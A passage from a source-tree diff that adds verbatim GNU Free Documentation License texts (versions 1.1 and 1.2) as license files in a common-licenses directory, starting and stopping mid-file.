+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-invariants-only b/meta/files/common-licenses/GFDL-1.2-invariants-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-invariants-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-invariants-or-later b/meta/files/common-licenses/GFDL-1.2-invariants-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-invariants-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
